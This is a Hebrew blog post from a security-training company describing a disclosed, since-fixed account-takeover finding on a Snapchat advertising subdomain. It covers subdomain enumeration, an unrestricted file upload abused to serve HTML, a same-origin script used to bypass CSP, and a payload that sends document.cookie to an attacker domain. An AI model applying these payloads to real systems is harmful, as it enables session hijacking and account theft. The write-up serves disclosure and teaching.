השתלטות על חשבונות Snapchat - חברת ITSAFE הכשרות סייבר ואבטחת מידע
בבלוג זה אציג את ממצא ההשתלטות על חשבונות Snapchat Web אותו מצאתי יחד עם דקלה ברדה.
על מנת לממש את ההשתלטות על החשבונות היינו צריכים לאתר XSS ב-Domain לא מוכר של Snapchat ולעקוף את הגנת ה-CSP על ידי Unrestricted File Upload.
Technical
התחלנו את המחקר על ה-domain המרכזי www.snapchat.com והגענו למסקנה שהאתר נבדק המון פעמים ויהיה מאוד קשה למצוא ליקוי אבטחה ב-domain, לכן החלטנו לנסות לחפש sub-domain מעניין שכמעט ולא נחקר על ידי סריקת כל ה-sub-domainים.
להלן רשימה חלקית:
- snapchat.com
- www.snapchat.com
- blog.snapchat.com
- app.snapchat.com
- mail.snapchat.com
- support.snapchat.com
- mail2.support.snapchat.com
- s.snapchat.com
- v.snapchat.com
- accounts.snapchat.com
- go.snapchat.com
- tr.snapchat.com
- api.snapchat.com
- ads.snapchat.com
- business.snapchat.com
- learn.snapchat.com
- chat.snapchat.com
- publish.snapchat.com
- developer.snapchat.com
- snappublisher.snapchat.com
- link.snapchat.com
- auth.snapchat.com
- ops.snapchat.com
- calendar.snapchat.com
- se.snapchat.com
- docs.snapchat.com
לאחר מכן כתבנו סקריפט שיעבור על כל –sub-domain וייתן לנו קצת meta data כדי לבחור sub domain אחד יחסית חדש ומעניין, כך הגענו ל:
`` ads.snapchat.com`
יצרנו לעצמנו 2 חשבונות והתחלנו לחקור את הפונקציונאליות של המערכת שהגענו אליה:
אחת הפונקציות שתפסה את תשומת ליבנו הייתה יצירת מודעה, לחצנו על create ועברנו לsub-domain- :
`` snappublisher.snapchat.com`
המטרה במחקר הייתה account take over כך שבsub-domain- הזה התחלנו לבחון כיצד מנוהל החשבון של המשתמש והיכן הוא נשמר, וזאת על מנת שנוכל להבין האם account take over אפשרי או לא.
לאחר בחינת כל האחסונים של הדפדפן ותהליך ניהול החשבון של המשתמש הגענו למסקנה שקיימות שתי עוגיות ללא HTTPOnly שתפקידן לזהות את המשתמש:
- JSESSIONID
- snapTicket
מה שנראה כך:
כך שהמטרה ברורה, עלינו למצוא דרך לגנוב את העוגיות הללו ולשלוח אותן אלינו על מנת להשתלט על חשבון המשתמש.
טרם התחלנו לחקור את האתר ולחפש דרך לעשות זאת החלטנו לבחון אילו הגנות יש באתר כדי לתכנן את דרך הפעולה הטובה ביותר.
בחנו את כותרי התשובה של הבקשה וראינו שבאתר קיימות ההגנות הבאות:
- X-XSS protection
- Content Security Policy
- X-Frame-Option
מה שניתן לראות בתמונה הבאה:
ניתן לראות שהאתר משתמש ב-CSP עם הגדרות ברירת מחדל כך שלבצע XSS בדרך טריוויאלית לא יהיה אפשרי.
על CSP אני מסביר לעומק בספר שלי – "סייבר ובדיקות חוסן ליישומי אינטרנט".
על מנת לעקוף CSP ובכלל לבצע XSS יהיה עלינו למצוא 2 ליקויי אבטחה:
-
- ליקוי אבטחה המאפשר לנו לעלות קבצים כרצוננו (unrestricted file upload)
-
- להשתמש בליקוי אבטחה הראשון כדי לבצע XSS.
כך התחלנו להתמקד במנגנוני העלאת הקבצים במערכת על מנת לעקוף CSP:
לאחר בחינתו לעומק של תהליך העלאת הקבצים, מצאנו שהתהליך מורכב משני שלבים.
שלב ראשון שליחת הודעת post אשר מחזירה לנו את ה-id שהוא בעצם הנתיב לקובץ שיעלה:
שלב שני הוא בעצם העלאת הקובץ ל-id מהשלב הראשון:
שמנו לב שאין הגבלה כלשהי על התוכן שאנו מעלים. תחילה ניסינו להעלות קובץ html אך לצערנו הוא עולה עם content-disposition attachment מה שגורם להורדת הקובץ במקום הצגתו של הקובץ על ידי הדפדפן.
ניסינו כמה סוגים שונים של קבצים עד אשר הצלחנו להעלות קובץ mp4 וב-content-type שלו כתבנו text/html, כך גרמנו לדפדפן להציג את תוכן הקובץ במקום להוריד אותו:
תחילה תיקנו את השגיאה של הקידוד שלא ירענן את הדף פעמיים, כפי שמופיע בהערה, על ידי הוספת התג הבא בחלק העליון של אזור הdata- בפורמט ה-mp4.
<meta charset="UTF-8">
לאחר מכן ניסינו לעקוף את הCSP-, תחילה גרמנו לשגיאת CSP על ידי הוספת התוכן הבא לקובץ:
<meta charset="UTF-8"><h1>test2</h1><script>alert(1)</script>
מה שהציג את השגיאה הבאה:
כידוע לנו CSP מאפשר טעינת קוד רק מה-domain המאופשר בחוקי ה-CSP ומכיוון שהגדירו כאן CSP ברירת מחדל ניתן יהיה לטעון רק קבצי סקריפט המאוחסנים על גבי אותו הדומיין.
לכן הפעם נעלה קובץ נקי עם התוכן:
alert(1)
ונעדכן את הקוד שלנו שיפנה לקובץ הזה כדי לעקוף את הCSP-.
<meta charset="UTF-8"><h1>test2</h1><script src="https://snappublisher.snapchat.com/api/v1/media/a5a2d905-413e-4c58-8c76-ba9d5b017df8/file/alert.js"></script>
וכך עקפנו את הCSP:
ומכיוון שבתחילת המחקר זיהינו שהעוגיות לא מוגנות וניתן לגנוב אותן בקלות, החלפנו את הפקודה (alert(1 לקוד הבא:
window.location="https://my-domain.com/get_cookie.php?c="+document.cookie
כל מה שנשאר לנו לעשות כעת הוא פשוט לשלוח את הלינק שיצרנו לחשבון השני שלנו וכך הצלחנו לעקוף את ה-CSP ולקבל גישה לחשבון.
כמובן ש-snapchat הגיבו באחריות ותיקנו את הממצא תוך ימים ספורים.